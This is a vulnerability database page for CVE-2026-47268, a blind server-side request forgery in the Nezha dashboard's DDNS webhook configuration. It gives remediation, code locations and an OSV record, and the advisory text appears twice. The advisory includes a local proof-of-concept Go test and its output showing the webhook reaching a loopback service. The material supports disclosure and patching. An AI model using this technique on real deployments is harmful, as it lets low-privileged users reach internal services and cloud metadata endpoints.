CVE-2026-47268: Github.com/nezhahq/nezha Nezha's Authenticated DDNS Webhook Configuration Vulnerability

MODERATE
Advisory Identifier: GHSA-6x26-5727-rrm9
CVSS 6.4
CWE-918
Published
Advisory Summary

CVE-2026-47268 is a MODERATE (CVSS 6.4) nezha's authenticated ddns webhook configuration vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/nezhahq/nezha libraries in the Go ecosystem. The issue involves nezha's authenticated ddns webhook configuration allows blind ssrf from the dashboard host. Remediation is available by upgrading affected packages to version 2.0.10.

CVE-2026-47268 at a Glance

CVE Identifier CVE-2026-47268
GHSA Identifier GHSA-6x26-5727-rrm9
Severity MODERATE
CVSS v3.1 Base Score 6.4
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Github.com/nezhahq/nezha
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-47268

To remediate this vulnerability, upgrade all affected Github.com/nezhahq/nezha dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/nezhahq/nezha fixed: 2.0.10
Upgrade github.com/nezhahq/nezha to 2.0.10
github.com/naiba/nezha fixed: Latest secure release
Upgrade github.com/naiba/nezha to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/nezhahq/nezha

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-47268, inspect your project dependencies for Github.com/nezhahq/nezha:

inspect dependencies for github.com/nezhahq/nezha

Analyze the terminal output to locate any version of Github.com/nezhahq/nezha in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.10), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Github.com/nezhahq/nezha, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

#### Summary An authenticated Nezha dashboard user can create or update a DDNS profile with provider `webhook` and configure an arbitrary `webhook_url`, HTTP method, request body, and headers. When DDNS is triggered for a server that uses that profile, the dashboard process sends the configured request with `utils.HttpClient` without the SSRF protections used by notification webhooks. This allows a low-privileged authenticated user who controls an owned server/DDNS profile to make the dashboard host issue HTTP requests to loopback or internal network services. The response body is not returned to the attacker in the confirmed path, so this is a blind SSRF / internal state-changing request primitive. #### Details The DDNS API is available to authenticated users, not only administrators: - `cmd/dashboard/controller/controller.go:137` registers `GET /api/v1/ddns`. - `cmd/dashboard/controller/controller.go:139` registers `POST /api/v1/ddns`. - `cmd/dashboard/controller/controller.go:140` registers `PATCH /api/v1/ddns/:id`. The create and update handlers copy attacker-controlled webhook fields directly from JSON request bodies into `model.DDNSProfile`: - `cmd/dashboard/controller/ddns.go:47-74` accepts `model.DDNSForm` and stores `WebhookURL`, `WebhookMethod`, `WebhookRequestType`, `WebhookRequestBody`, and `WebhookHeaders`. - `cmd/dashboard/controller/ddns.go:112-145` updates the same fields after profile ownership is checked. - `model/ddns_api.go:11-15` exposes these fields as JSON input. - `model/ddns.go:28-33` stores these fields on the persisted profile. Users can attach owned DDNS profiles to owned servers, and DDNS updates are triggered in common server update and agent IP-reporting paths: - `cmd/dashboard/controller/server.go:63-83` checks DDNS profile ownership, then stores `EnableDDNS`, `DDNSProfiles`, and `OverrideDDNSDomains` on an owned server. - `service/singleton/server.go:44-58` calls `UpdateDDNS` when a server with DDNS enabled is updated. - `service/rpc/nezha.go:247-279` calls `UpdateDDNS` when an authenticated agent reports a changed IP. The DDNS provider dispatcher instantiates the webhook provider when `Provider == "webhook"`: - `service/singleton/ddns.go:58-95`, especially `service/singleton/ddns.go:79-81`. The sink is the DDNS webhook provider: - `pkg/ddns/webhook/webhook.go:49-65` prepares and sends the HTTP request with `utils.HttpClient.Do(req)`. - `pkg/ddns/webhook/webhook.go:85-100` formats and applies attacker-controlled headers. - `pkg/ddns/webhook/webhook.go:91-92` creates the request with the configured method and URL. - `pkg/ddns/webhook/webhook.go:117-134` parses the configured URL and only formats query parameters; it does not restrict scheme, host, IP range, or redirects. - `pkg/ddns/webhook/webhook.go:137-158` builds attacker-controlled request bodies for POST/PATCH/PUT. The project already contains SSRF defenses for notification webhooks, showing the expected mitigation pattern is absent from the DDNS webhook path: - `model/notification.go:34-58` defines blocked private/reserved CIDRs. - `model/notification.go:193-221` creates a notification HTTP client that resolves and pins a validated IP and disables redirects. - `model/notification.go:229-263` only allows `http`/`https`, requires a hostname, resolves all addresses, and rejects disallowed IPs. - `model/notification.go:265-276` rejects blocked ranges and non-global-unicast targets. Equivalent validation was not found in `pkg/ddns/webhook/webhook.go`. #### Safe local PoC Environment: - Repository: `https://github.com/nezhahq/nezha.git` - Commit tested: `05e5da2535197fc223b79601d50eeea362dcf853` - Tag at commit: `v2.0.9` - Module: `github.com/nezhahq/nezha` - Go version: `go1.26.3 linux/amd64` - Testing scope: local-only; loopback HTTP listener and fake local UDP DNS SOA server only. A temporary same-package test was created and removed automatically after execution. It used a local `httptest` listener as the internal service and a local UDP DNS server that returned an SOA for `example.com.`. The test then executed the normal DDNS update pipeline with a webhook DDNS profile pointing at the loopback HTTP listener. Command run: ```bash tmp="pkg/ddns/ddns_ssrf_local_poc_test.go"; trap 'rm -f "$tmp"' EXIT; cat > "$tmp" <<'EOF' package ddns import ( "context" "io" "net" "net/http" "net/http/httptest" "testing" "github.com/miekg/dns" "github.com/nezhahq/nezha/model" "github.com/nezhahq/nezha/pkg/ddns/webhook" ) func TestLocalPoCDDNSUpdatePipelineReachesLoopback(t *testing.T) { hit := make(chan string, 1) httpSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { body, _ := io.ReadAll(r.Body) hit <- r.Method + " " + r.URL.Path + " " + r.Header.Get("X-Proof") + " " + string(body) w.WriteHeader(http.StatusNoContent) })) defer httpSrv.Close() dnsPacketConn, err := net.ListenPacket("udp", "127.0.0.1:0") if err != nil { t.Fatal(err) } dnsSrv := &dns.Server{PacketConn: dnsPacketConn, Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) { msg := new(dns.Msg) msg.SetReply(r) if len(r.Question) > 0 && r.Question[0].Qtype == dns.TypeSOA { msg.Answer = append(msg.Answer, &dns.SOA{ Hdr: dns.RR_Header{Name: "example.com.", Rrtype: dns.TypeSOA, Class: dns.ClassINET, Ttl: 60}, Ns: "ns.example.com.", Mbox: "hostmaster.example.com.", Serial: 1, Refresh: 60, Retry: 60, Expire: 60, Minttl: 60, }) } _ = w.WriteMsg(msg) })} go func() { _ = dnsSrv.ActivateAndServe() }() defer dnsSrv.Shutdown() enableIPv4 := true enableIPv6 := false profile := &model.DDNSProfile{ EnableIPv4: &enableIPv4, EnableIPv6: &enableIPv6, MaxRetries: 1, Domains: []string{"host.example.com"}, Provider: model.ProviderWebHook, WebhookURL: httpSrv.URL + "/internal", WebhookMethod: 2, WebhookRequestType: 1, WebhookRequestBody: `{"ip":"#ip#","domain":"#domain#","type":"#type#"}`, WebhookHeaders: `{"X-Proof":"nezha-ddns-pipeline-ssrf"}`, } provider := &Provider{ DDNSProfile: profile, IPAddrs: &model.IP{IPv4Addr: "203.0.113.10"}, Setter: &webhook.Provider{DDNSProfile: profile}, } ctx := context.WithValue(context.Background(), DNSServerKey{}, []string{dnsPacketConn.LocalAddr().String()}) if err := provider.updateDomain(ctx, "host.example.com"); err != nil { t.Fatalf("updateDomain returned error: %v", err) } select { case got := <-hit: t.Logf("observed loopback request through DDNS update pipeline: %s", got) default: t.Fatalf("expected loopback listener to receive DDNS webhook request") } } EOF go test ./pkg/ddns -run TestLocalPoCDDNSUpdatePipelineReachesLoopback -v ``` Observed output: ```text === RUN TestLocalPoCDDNSUpdatePipelineReachesLoopback ddns_ssrf_local_poc_test.go:76: observed loopback request through DDNS update pipeline: POST /internal nezha-ddns-pipeline-ssrf {"ip":"203.0.113.10","domain":"host.example.com","type":"ipv4"} --- PASS: TestLocalPoCDDNSUpdatePipelineReachesLoopback (0.00s) PASS ok github.com/nezhahq/nezha/pkg/ddns 0.009s ``` A lower-level provider-only confirmation was also run with `go test ./pkg/ddns/webhook -run TestLocalPoCDDNSWebhookReachesLoopback -v` and observed: ```text observed loopback request: POST /internal nezha-ddns-ssrf {"ip":"203.0.113.10","domain":"host.example.com","type":"ipv4"} ``` Cleanup: - Both temporary PoC test files were removed by shell `trap`. - `find . -path './.git' -prune -o \( -name 'ssrf_local_poc_test.go' -o -name 'ddns_ssrf_local_poc_test.go' \) -print` returned no files. #### Impact An authenticated dashboard user can cause the Nezha dashboard process to send arbitrary HTTP requests to services reachable from the dashboard host, including loopback and private network targets. The confirmed path allows attacker-controlled method, URL path/query, headers, and request body. Potential impacts depend on deployment and reachable internal services, but include: - Blind probing of internal HTTP services from the dashboard network location. - Triggering state-changing internal endpoints that trust localhost or private network origins. - Reaching services not exposed to the attacker directly. - Interaction with cloud metadata or control-plane endpoints if reachable and not otherwise protected. The response body is not returned to the attacker in the confirmed code path, so this should not be described as direct arbitrary internal file/secret read without an additional response-disclosure primitive.

CVE-2026-47268 Affected Github.com/nezhahq/nezha Versions

2 component(s)
Fixed Versions:
2.0.10
Product / Package Ecosystem Affected Versions Fixed Version
github.com/nezhahq/nezha
Go
≥ 0.20.0
< 2.0.10
2.0.10
github.com/naiba/nezha
Go
≥ 0.20.0

References

Frequently Asked Questions

What is CVE-2026-47268?
CVE-2026-47268 is a security vulnerability in Github.com/nezhahq/nezha involving Nezha's authenticated DDNS webhook configuration allows blind SSRF from the dashboard host under CWE-918: Server-Side Request Forgery (SSRF).
Which Github.com/nezhahq/nezha versions are affected?
Affected versions include releases prior to 2.0.10 across affected packages: github.com/nezhahq/nezha, github.com/naiba/nezha.
What version fixes CVE-2026-47268?
Upgrading to 2.0.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/nezhahq/nezha affected?
Yes, github.com/nezhahq/nezha is affected in releases prior to 2.0.10. Upgrade your dependency to 2.0.10 or later.
Is github.com/naiba/nezha affected?
Yes, github.com/naiba/nezha is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-47268?
CVE-2026-47268 has a CVSS v3.1 base score of 6.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-47268?
CVE-2026-47268 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for CVE-2026-47268?
Run the dependency tree command: 'inspect dependencies for github.com/nezhahq/nezha'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6x26-5727-rrm9",
  "modified" : "2026-06-26T21:28:39Z",
  "published" : "2026-05-29T22:10:12Z",
  "aliases" : [ "CVE-2026-47268" ],
  "summary" : "Nezha's authenticated DDNS webhook configuration allows blind SSRF from the dashboard host",
  "details" : "#### Summary\n\nAn authenticated Nezha dashboard user can create or update a DDNS profile with provider `webhook` and configure an arbitrary `webhook_url`, HTTP method, request body, and headers. When DDNS is triggered for a server that uses that profile, the dashboard process sends the configured request with `utils.HttpClient` without the SSRF protections used by notification webhooks.\n\nThis allows a low-privileged authenticated user who controls an owned server/DDNS profile to make the dashboard host issue HTTP requests to loopback or internal network services. The response body is not returned to the attacker in the confirmed path, so this is a blind SSRF / internal state-changing request primitive.\n\n#### Details\n\nThe DDNS API is available to authenticated users, not only administrators:\n\n- `cmd/dashboard/controller/controller.go:137` registers `GET /api/v1/ddns`.\n- `cmd/dashboard/controller/controller.go:139` registers `POST /api/v1/ddns`.\n- `cmd/dashboard/controller/controller.go:140` registers `PATCH /api/v1/ddns/:id`.\n\nThe create and update handlers copy attacker-controlled webhook fields directly from JSON request bodies into `model.DDNSProfile`:\n\n- `cmd/dashboard/controller/ddns.go:47-74` accepts `model.DDNSForm` and stores `WebhookURL`, `WebhookMethod`, `WebhookRequestType`, `WebhookRequestBody`, and `WebhookHeaders`.\n- `cmd/dashboard/controller/ddns.go:112-145` updates the same fields after profile ownership is checked.\n- `model/ddns_api.go:11-15` exposes these fields as JSON input.\n- `model/ddns.go:28-33` stores these fields on the persisted profile.\n\nUsers can attach owned DDNS profiles to owned servers, and DDNS updates are triggered in common server update and agent IP-reporting paths:\n\n- `cmd/dashboard/controller/server.go:63-83` checks DDNS profile ownership, then stores `EnableDDNS`, `DDNSProfiles`, and `OverrideDDNSDomains` on an owned server.\n- `service/singleton/server.go:44-58` calls `UpdateDDNS` when a server with DDNS enabled is updated.\n- `service/rpc/nezha.go:247-279` calls `UpdateDDNS` when an authenticated agent reports a changed IP.\n\nThe DDNS provider dispatcher instantiates the webhook provider when `Provider == \"webhook\"`:\n\n- `service/singleton/ddns.go:58-95`, especially `service/singleton/ddns.go:79-81`.\n\nThe sink is the DDNS webhook provider:\n\n- `pkg/ddns/webhook/webhook.go:49-65` prepares and sends the HTTP request with `utils.HttpClient.Do(req)`.\n- `pkg/ddns/webhook/webhook.go:85-100` formats and applies attacker-controlled headers.\n- `pkg/ddns/webhook/webhook.go:91-92` creates the request with the configured method and URL.\n- `pkg/ddns/webhook/webhook.go:117-134` parses the configured URL and only formats query parameters; it does not restrict scheme, host, IP range, or redirects.\n- `pkg/ddns/webhook/webhook.go:137-158` builds attacker-controlled request bodies for POST/PATCH/PUT.\n\nThe project already contains SSRF defenses for notification webhooks, showing the expected mitigation pattern is absent from the DDNS webhook path:\n\n- `model/notification.go:34-58` defines blocked private/reserved CIDRs.\n- `model/notification.go:193-221` creates a notification HTTP client that resolves and pins a validated IP and disables redirects.\n- `model/notification.go:229-263` only allows `http`/`https`, requires a hostname, resolves all addresses, and rejects disallowed IPs.\n- `model/notification.go:265-276` rejects blocked ranges and non-global-unicast targets.\n\nEquivalent validation was not found in `pkg/ddns/webhook/webhook.go`.\n\n#### Safe local PoC\n\nEnvironment:\n\n- Repository: `https://github.com/nezhahq/nezha.git`\n- Commit tested: `05e5da2535197fc223b79601d50eeea362dcf853`\n- Tag at commit: `v2.0.9`\n- Module: `github.com/nezhahq/nezha`\n- Go version: `go1.26.3 linux/amd64`\n- Testing scope: local-only; loopback HTTP listener and fake local UDP DNS SOA server only.\n\nA temporary same-package test was created and removed automatically after execution. It used a local `httptest` listener as the internal service and a local UDP DNS server that returned an SOA for `example.com.`. The test then executed the normal DDNS update pipeline with a webhook DDNS profile pointing at the loopback HTTP listener.\n\nCommand run:\n\n```bash\ntmp=\"pkg/ddns/ddns_ssrf_local_poc_test.go\"; trap 'rm -f \"$tmp\"' EXIT; cat > \"$tmp\" <<'EOF'\npackage ddns\n\nimport (\n    \"context\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"net/http/httptest\"\n    \"testing\"\n\n    \"github.com/miekg/dns\"\n    \"github.com/nezhahq/nezha/model\"\n    \"github.com/nezhahq/nezha/pkg/ddns/webhook\"\n)\n\nfunc TestLocalPoCDDNSUpdatePipelineReachesLoopback(t *testing.T) {\n    hit := make(chan string, 1)\n    httpSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        body, _ := io.ReadAll(r.Body)\n        hit <- r.Method + \" \" + r.URL.Path + \" \" + r.Header.Get(\"X-Proof\") + \" \" + string(body)\n        w.WriteHeader(http.StatusNoContent)\n    }))\n    defer httpSrv.Close()\n\n    dnsPacketConn, err := net.ListenPacket(\"udp\", \"127.0.0.1:0\")\n    if err != nil {\n        t.Fatal(err)\n    }\n    dnsSrv := &dns.Server{PacketConn: dnsPacketConn, Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {\n        msg := new(dns.Msg)\n        msg.SetReply(r)\n        if len(r.Question) > 0 && r.Question[0].Qtype == dns.TypeSOA {\n            msg.Answer = append(msg.Answer, &dns.SOA{\n                Hdr:     dns.RR_Header{Name: \"example.com.\", Rrtype: dns.TypeSOA, Class: dns.ClassINET, Ttl: 60},\n                Ns:      \"ns.example.com.\",\n                Mbox:    \"hostmaster.example.com.\",\n                Serial:  1,\n                Refresh: 60,\n                Retry:   60,\n                Expire:  60,\n                Minttl:  60,\n            })\n        }\n        _ = w.WriteMsg(msg)\n    })}\n    go func() { _ = dnsSrv.ActivateAndServe() }()\n    defer dnsSrv.Shutdown()\n\n    enableIPv4 := true\n    enableIPv6 := false\n    profile := &model.DDNSProfile{\n        EnableIPv4:         &enableIPv4,\n        EnableIPv6:         &enableIPv6,\n        MaxRetries:         1,\n        Domains:            []string{\"host.example.com\"},\n        Provider:           model.ProviderWebHook,\n        WebhookURL:         httpSrv.URL + \"/internal\",\n        WebhookMethod:      2,\n        WebhookRequestType: 1,\n        WebhookRequestBody: `{\"ip\":\"#ip#\",\"domain\":\"#domain#\",\"type\":\"#type#\"}`,\n        WebhookHeaders:     `{\"X-Proof\":\"nezha-ddns-pipeline-ssrf\"}`,\n    }\n    provider := &Provider{\n        DDNSProfile: profile,\n        IPAddrs:     &model.IP{IPv4Addr: \"203.0.113.10\"},\n        Setter:      &webhook.Provider{DDNSProfile: profile},\n    }\n\n    ctx := context.WithValue(context.Background(), DNSServerKey{}, []string{dnsPacketConn.LocalAddr().String()})\n    if err := provider.updateDomain(ctx, \"host.example.com\"); err != nil {\n        t.Fatalf(\"updateDomain returned error: %v\", err)\n    }\n\n    select {\n    case got := <-hit:\n        t.Logf(\"observed loopback request through DDNS update pipeline: %s\", got)\n    default:\n        t.Fatalf(\"expected loopback listener to receive DDNS webhook request\")\n    }\n}\nEOF\ngo test ./pkg/ddns -run TestLocalPoCDDNSUpdatePipelineReachesLoopback -v\n```\n\nObserved output:\n\n```text\n=== RUN   TestLocalPoCDDNSUpdatePipelineReachesLoopback\n    ddns_ssrf_local_poc_test.go:76: observed loopback request through DDNS update pipeline: POST /internal nezha-ddns-pipeline-ssrf {\"ip\":\"203.0.113.10\",\"domain\":\"host.example.com\",\"type\":\"ipv4\"}\n--- PASS: TestLocalPoCDDNSUpdatePipelineReachesLoopback (0.00s)\nPASS\nok  \tgithub.com/nezhahq/nezha/pkg/ddns\t0.009s\n```\n\nA lower-level provider-only confirmation was also run with `go test ./pkg/ddns/webhook -run TestLocalPoCDDNSWebhookReachesLoopback -v` and observed:\n\n```text\nobserved loopback request: POST /internal nezha-ddns-ssrf {\"ip\":\"203.0.113.10\",\"domain\":\"host.example.com\",\"type\":\"ipv4\"}\n```\n\nCleanup:\n\n- Both temporary PoC test files were removed by shell `trap`.\n- `find . -path './.git' -prune -o \\( -name 'ssrf_local_poc_test.go' -o -name 'ddns_ssrf_local_poc_test.go' \\) -print` returned no files.\n\n#### Impact\n\nAn authenticated dashboard user can cause the Nezha dashboard process to send arbitrary HTTP requests to services reachable from the dashboard host, including loopback and private network targets. The confirmed path allows attacker-controlled method, URL path/query, headers, and request body.\n\nPotential impacts depend on deployment and reachable internal services, but include:\n\n- Blind probing of internal HTTP services from the dashboard network location.\n- Triggering state-changing internal endpoints that trust localhost or private network origins.\n- Reaching services not exposed to the attacker directly.\n- Interaction with cloud metadata or control-plane endpoints if reachable and not otherwise protected.\n\nThe response body is not returned to the attacker in the confirmed code path, so this should not be described as direct arbitrary internal file/secret read without an additional response-disclosure primitive.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/nezhahq/nezha"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.20.0"
      }, {
        "fixed" : "2.0.10"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/naiba/nezha"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.20.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nezhahq/nezha/security/advisories/GHSA-6x26-5727-rrm9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-47268"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nezhahq/nezha"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T22:10:12Z",
    "nvd_published_at" : "2026-06-12T22:16:51Z"
  }
}